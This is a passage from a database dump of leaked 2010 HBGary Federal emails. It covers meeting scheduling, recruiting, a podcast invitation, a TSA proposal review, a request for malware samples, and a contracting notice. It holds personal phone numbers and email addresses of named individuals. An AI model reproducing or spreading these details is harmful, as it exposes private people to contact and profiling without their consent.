3:00\r\np.m.\r\n\r\n&nbsp;\r\n\r\nIf\r\nthat time works with your and Penny Leavy&#8217;s schedule, please let me know and I\r\nwill send out a meeting update invite.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nDawn\r\nTopper\r\n\r\n703-610-9262\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1142,'aaron_hbgary_com/1142.html'),(10589,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008198.M241111P14101Q5444.eml','\"Topper, Dawn O\" <Dawn.Topper@mantech.com>','Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','Ok we are good for 3.AaronSent from my iPadOn Aug 18, 2010, at 4:46 PM, &quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThank\r\nyou.  I will wait to hear from you regarding Penny’s schedule.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 4:45 PM\r\nTo: Topper, Dawn O\r\nSubject: Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHi Dawn,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am checking with Penny, I think she Kanin the air right\r\nnow.  I imagine we can accommodate if Bill had something else come up.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 3:50 PM, &quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nafternoon,\r\n\r\n \r\n\r\nI\r\nam filling in today for Bill Varner’s Executive Assistant, Dana Briggs. \r\nBill requested I contact you to see if it is possible to change the Opportunity\r\nDiscussion with ManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00\r\np.m.\r\n\r\n \r\n\r\nIf\r\nthat time works with your and Penny Leavy’s schedule, please let me know and I\r\nwill send out a meeting update invite.\r\n\r\n \r\n\r\nThank\r\nyou,\r\n\r\nDawn\r\nTopper\r\n\r\n703-610-9262\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9945,'aaron_hbgary_com/9945.html'),(10590,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008198.M896645P14101Q5445.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','Ok.  Do you want to get together before hand?Sent from my iPhoneOn Aug 18, 2010, at 9:17 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI guess\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:55 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIs this ok?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Topper, Dawn\r\nO&quot; &lt;Dawn.Topper@ManTech.com&gt;\r\nDate: August 18, 2010 3:50:39 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nafternoon,\r\n\r\n \r\n\r\nI\r\nam filling in today for Bill Varner’s Executive Assistant, Dana Briggs. \r\nBill requested I contact you to see if it is possible to change the Opportunity\r\nDiscussion with ManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00\r\np.m.\r\n\r\n \r\n\r\nIf\r\nthat time works with your and Penny Leavy’s schedule, please let me know and I\r\nwill send out a meeting update invite.\r\n\r\n \r\n\r\nThank\r\nyou,\r\n\r\nDawn\r\nTopper\r\n\r\n703-610-9262\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5004,'aaron_hbgary_com/5004.html'),(10591,'2010-08-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008199.M303657P14101Q5446.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me figure out what works.&nbsp; I need to re-arrange somethings\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 6:27 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. &nbsp;Do you want to get together before hand?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:17 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nguess\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:55 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIs\r\nthis ok?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Topper, Dawn O&quot; &lt;Dawn.Topper@ManTech.com&gt;\r\nDate: August 18, 2010 3:50:39 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nafternoon,\r\n\r\n&nbsp;\r\n\r\nI\r\nam filling in today for Bill Varner&#8217;s Executive Assistant, Dana Briggs.&nbsp;\r\nBill requested I contact you to see if it is possible to change the Opportunity\r\nDiscussion with ManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00\r\np.m.\r\n\r\n&nbsp;\r\n\r\nIf\r\nthat time works with your and Penny Leavy&#8217;s schedule, please let me know and I\r\nwill send out a meeting update invite.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nDawn\r\nTopper\r\n\r\n703-610-9262\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4497,'aaron_hbgary_com/4497.html'),(10592,'2010-08-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008199.M686286P14101Q5447.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary on SecuraBit','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nno\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 1:15 PM\r\nTo: Penny Leavy; Greg Hoglund\r\nSubject: Fwd: HBGary on SecuraBit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo you have any objection to this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI reached out to this guy for a job offer and he wondered if\r\nI would do a podcast.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Mueller &lt;jmueller2004@gmail.com&gt;\r\nDate: August 18, 2010 3:50:47 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Bart Hopper &lt;d4ncingd4n@gmail.com&gt;,\r\ncgerlingjr@gmail.com,&nbsp; Chris\r\nMills &lt;chrisam@securabit.com&gt;\r\nSubject: HBGary on SecuraBit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nBart is our PR guy for the show and he\'ll be able to set up a time that works\r\nbest for you.&nbsp; Please let me know if you have any questions and I\'ll be\r\nsure to help out where needed.&nbsp; \r\n\r\nBart,\r\n\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their\r\nproducts and upcoming events on their end.\r\n\r\nLooking forward to another great show!\r\n\r\nR/\r\n\r\nJason Mueller\r\nCo-founder of SecuraBit LLC\r\nwww.SecuraBit.com\r\n\r\n\r\n\r\nOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Jason,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the response. &nbsp;Its a small community so\r\nplease definitely stay in contact and I\'ll do the same.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSure lets get on the phone or meet and talk about the\r\npodcast, I can tell you a little about what we are up to and go from there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know some good times.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for your interest and\r\nyes I\'m familiar with HBGary. Our RE guys used it at my last customer site.\r\n&nbsp;I just left Symantec in April and jumped on with ArcSight which seems to\r\nbe working out quite well. I\'ll keep your info handy and I\'m sure we\'ll bump\r\ninto one another at some point in the near future. In the meantime, any\r\ninterest in sharing your product and thoughts with the SecuraBit podcast?\r\n&nbsp;Let me know and I\'ll get a date that works best for you. We record every\r\nother Wednesday at 8pm and average roughly 5k downloads per show. &nbsp;Check\r\nout www.SecuraBit.com to see a list of\r\nprior guests.&nbsp;\r\n\r\n\r\n\r\nR/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJason Mueller\r\n\r\n\r\n\r\n\r\n\r\nSecurity Engineer, Federal Services\r\n\r\n\r\n\r\n\r\n\r\njmueller@ArcSight.com\r\n\r\n\r\n\r\n\r\n\r\nCell: (540) 842-7019\r\n\r\n\r\n\r\n\r\n\r\n5 Results Way\r\n\r\n\r\n\r\n\r\n\r\nCupertino, CA 95014\r\n\r\n\r\n\r\n\r\n\r\nwww.ArcSight.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone, please excuse typos.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArcSight Protect \'10 - 6th Annual Users Conference\r\n\r\n\r\n\r\n\r\n\r\nSeptember 19 - 22,2010\r\n\r\n\r\n\r\n\r\n\r\nGaylord National Resort - Washington D.C.\r\n\r\n\r\n\r\n\r\n\r\nRegister Now&lt;http://www.arcsight.com/protect10&gt;\r\n- Receive 12 CPE credits for attending!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  Aaron\r\n  Barr\r\n  has sent you a message.\r\n  Date: 8/17/2010 \r\n  Subject: Introduction \r\n  Hey\r\n  Jason, \r\n  \r\n  Thanks for accepting. I am not sure if you know much about HBGary or HBGary\r\n  Federal. Leading HBGary Federal I am focused on improving cybersecurity\r\n  leveraging key people, partnerships, technologies, and processes. I am\r\n  looking to fill some key positions and would like to discuss them with you if\r\n  your interested, if not at this time, no problem, its a small community and\r\n  connections are a good thing. \r\n  \r\n  I have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full\r\n  poly). \r\n  \r\n  Also looking for: (require TS Collateral) \r\n  Lead SOC mgr \r\n  Lead IR mgr \r\n  Lead Forensic Analyst \r\n  Lead Cyber Intel Analyst \r\n  Lead Threat Mgr \r\n  \r\n  Thank You, \r\n  Aaron Barr \r\n  CEO HBGary Federal \r\n  719.510.8478 \r\n  View/reply to this message\r\n  \r\n  Don\'t want to receive\r\n  e-mail notifications? Adjust your message settings.\r\n  \r\n  &copy; 2010, LinkedIn Corporation\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3473,'aaron_hbgary_com/3473.html'),(10593,'2010-08-19','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008200.M117482P14101Q5448.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 8/18/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Aug 11 - Aug 18\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Mohannad H. Gomaa, MBA PMP FE has an updated profile (Expertise, Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Kevin G. Coleman has an updated profile (Headline)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Sandy Forney has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Scott Sheldon\r\n    is now connected to\r\n        Roger Tjarks\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Rodrigo Antao\r\nis now connected to\r\n            Marcos Dantas\r\n             and \r\n            Bruno Barreto Ciscotto\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Dr. Paul Nemirovsky\r\nis now connected to\r\n            Kevin McConnaughey\r\n,             Mark Regen\r\n,             dendy young\r\n,       and 1 other person.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      JD Kathuria\r\nMy townhome is still for sale at: http://lnkd.in/2NcpvX      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\n**Fairfax Townhome for Sale**Close to Government Center &amp; Major...         \r\n          Ritu Desai | Samson Properties | (703) 625-4949 4247 Sleepy Lake, Fairfax, VA Hidden Gem in the heart of Fairfax** New Price 4BR/3+1BA Townhouse offered at $349,000 Year Built 1986 Sq Footage Unspecified Bedrooms 4 Bathrooms 3 fu...\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Phil Wallisch\r\nHBGary Federal is hiring.  Immediate positions available for reverse engineers with full polys. Taking resumes for upcoming positions as lead SOC Manager, lead threat intel analyst, lead forensics analyst, lead incident response for federal customer. This is a great team, our focus is on making a difference!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nAfter pulling together WBS &amp; Gantt Chart today for a new program, I think I enjoy this Program Management stuff too much for sanity\'s sake!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    JD Kathuria has joined\r\n    SECAF Small and Emerging Contractor Advisory Forum\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Kevin G. Coleman has joined\r\n    Cyber Security Readiness For The Federal Government\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Phil Wallisch has joined\r\n    Rootkit Analysis\r\n              \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',15692,'aaron_hbgary_com/15692.html'),(10594,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008200.M420020P14101Q5449.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','TSA ITSSS','Are you still be engaged in this effort?\r\n\r\nAaron',3099,'aaron_hbgary_com/3099.html'),(10595,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008200.M787128P14101Q5450.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: TSA ITSSS Red Team','John,Just a thought, and not sure if its a viable thought at all. &nbsp;If the RFP and Proposal timelines shift and if there is an opening I suggest bringing on Mantech. &nbsp;I think they could offer up some resumes pretty quickly and provide a good amount of SOC/IR/Forensics/Threat Intel PP.Northrop can tell the PP story pretty well to but in actuality NG doesn\'t know how to run SOCs, all of their talent in this area has mostly left.Not trying to be a downer, I think we can work with what we have as long as we can fill the resumes (you would know better than me), I just see the pain points and I think Mantech can fill them if they are approachable, realizing not a realistic option, but thought if things get delayed maybe.AaronOn Aug 18, 2010, at 10:38 AM, John Fanguy wrote:Just get some people signed this week and enjoy the vacation.&nbsp; Gold team will be next Wed.&nbsp; If you can plan to be here Tuesday editing/enhancing that would be ideal.&nbsp; The big companies are really struggling with writing the Experience, People, Tools, Other Resources matrices.&nbsp; Only Telos has come thru.&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 10:29 AMTo:&nbsp;Kirby Kintner; John FanguySubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;Guys,&nbsp;I have a planned family vacation to NC this weekend. &nbsp;I can review on Saturday remotely if that is feasible.&nbsp;Aaron&nbsp;On Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:When: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).Where: DMI Facility, Bethesda&nbsp;Note: The GMT offset above does not reflect daylight saving time adjustments.&nbsp;*~*~*~*~*~*~*~*~*~*&nbsp;Agenda:&nbsp;1PM – 1:15 Kick-off1:15 - 3:30 Review3:30 – 4&nbsp; Develop Top Ten list4PM - Dismiss&nbsp;&nbsp;&nbsp;&lt;Mail Attachment.ics&gt;&nbsp;',10656,'aaron_hbgary_com/10656.html'),(10596,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008203.M12990P14101Q5451.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Attribution','Read this paper.\r\n\r\nOne of the best cyber papers I have read.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Leibner, Lincoln D LTC MIL USA OSA\" \r\n> Date: August 17, 2010 7:53:35 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: Attribution\r\n> \r\n> Aaron, while I have nothing substantive to offer you, I will strongly endorse your line of discovery. I have attached a recent piece by Huba Wass de Czege. He is a VERY well regarded Army strategist who has made a recent foray into cyber war that I think you might find useful. Cheers, Lincoln \r\n> \r\n> Lieutenant Colonel Lincoln Leibner\r\n> United States Army\r\n> Operations and Technology Office\r\n> 703-697-7131\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, August 16, 2010 21:50\r\n> Subject: Re: Attribution\r\n> To: \"Leibner, Lincoln D LTC MIL USA OSA\" \r\n> \r\n> \r\n>> Lincoln,\r\n>> \r\n>> Thats ok. Thank you for considering it. We have had some success \r\n>> but I realize the difficulty with certain data sets. I think we \r\n>> are making some good progress on approaches to attribution. We \r\n>> are working closely with Palantir and EndGames to build datasets \r\n>> off of the malware clustering work we did.\r\n>> \r\n>> Look forward to seeing you at some of Brian\'s get togethers.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 15, 2010, at 9:21 AM, Leibner, Lincoln D LTC MIL USA OSA wrote:\r\n>> \r\n>>> Aaron, I am sorry to say that after much thought, I am not sure \r\n>> how I can be of help on this project. Let me know if there is \r\n>> something specific that you think I can do to help however. ~ \r\n>> Lincoln \r\n>>> \r\n>>> Lieutenant Colonel Lincoln Leibner\r\n>>> United States Army\r\n>>> Operations and Technology Office\r\n>>> 703-697-7131\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Friday, July 16, 2010 22:27\r\n>>> Subject: Attribution\r\n>>> To: Aaron Barr >> \r\n>>> \r\n>>>> I am sending this request to a small group of individuals. Please \r\n>>>> do not forward this email to third parties. HBGary is working \r\n>>>> hard to help solve the attribution problem. We have developed a \r\n>>>> fingerprint tool which extracts toolmarks left behind in malware \r\n>>>> executables. We use these toolmarks to cluster exploits together \r\n>>>> which were compiled on the same computer system or development \r\n>>>> environment. Notice the clusters in the graphic below. These \r\n>>>> groupings illustrate the relationships between over 3000 malware \r\n>>>> samples.\r\n>>>> We need your help to further validate and improve the tool. \r\n>>>> Eventually you can imagine combining this data with open source \r\n>>>> and intelligence data. I can see attribution as potentially a \r\n>>>> solvable problem. We need your malware samples, as many as you \r\n>>>> can provide. This is not something we are looking to profit from \r\n>>>> directly, we will be giving this tool away at Blackhat, so helping \r\n>>>> us improve the tool will help the community beat back the threat. \r\n>>>> If possible please have your representative CISOs or cybersecurity \r\n>>>> personnel send malware samples in a password protected zip file. \r\n>>>> Provide the password via phone 719-510-8478 or fax to: 720-836-\r\n>>>> 4208 we need your samples as soon as possible. Samples provided \r\n>>>> will not be shared with third parties and your participation will \r\n>>>> be held in strict confidence.\r\n>>>> \r\n>>>> In exchange for your help, I will provide you with a summary \r\n>>>> report of our findings and you will have made a significant \r\n>>>> contribution to securing America\'s networks. \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>> \r\n\r\n\r\n',13591,'aaron_hbgary_com/13591.html'),(10597,'2010-08-19','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008203.M656435P14101Q5452.eml','aaron@hbgary.com','Re: TSA ITSSS','When asked\r\n\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, August 18, 2010 01:45 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: TSA ITSSS\r\n\r\nAre you still be engaged in this effort?\r\n\r\nAaron\r\n',11743,'aaron_hbgary_com/11743.html'),(10598,'2010-08-19','arc@westfields.net','/aaron@hbgary.com/new/1297008203.M859236P14101Q5453.eml','federal@hbgary.com','COMM Sole Source Business Opportunity Posting','\r\nThe NRO/COMM Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF/LOE. The Effort Type is SETA.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 